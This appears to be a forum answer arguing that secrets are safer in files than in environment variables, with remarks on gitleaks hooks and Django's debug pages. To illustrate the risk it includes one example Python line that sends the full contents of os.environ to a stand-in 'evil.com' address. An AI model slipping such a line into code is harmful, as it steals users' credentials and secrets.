AFAICT, there are two reasons people recommend storing secrets in environment variables:
- It's too easy to inadvertently commit secret flat files to a repo. (And if it's a public repo, you're toast.)
- It prevents password clutter i.e., having the same key in many different project directory files is itself a security risk since developers will eventually lose track of where secrets are located.
These two issues can be solved in better ways. The former should be solved by a git commit hook that checks for things that look like passwords (e.g., gitleaks). I wish Linus built such a tool into the git library's source code but, alas, that didn't happen. (Needless to say, secret files should always be added to .gitignore
, but you need a hook in case someone forgets to do so.)
The latter can be solved by having a global company secrets file, which is ideally stored on a read-only shared drive. So, in Python, you could have something like from company_secrets import *
.
More importantly, as pointed out by others, it's way too easy to hack secrets stored in environment variables. For example, in Python, a library author could insert send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
and then you're toast if you execute this code. Hacking is much more challenging if you have a file on your system called ~/secret_company_stuff/.my_very_secret_company_stuff
.
Django users only:
Django (in DEBUG mode) shows the raw value of an environment variable in the browser if there is an exception (in DEBUG mode). This seems highly insecure if, for example, a developer accidentally sets DEBUG=True
in production. In contrast, Django DOES obfuscate password settings variables by looking for the strings API
, TOKEN
, KEY
, SECRET
, PASS
or SIGNATURE
in the framework's settings.py
file's variable names.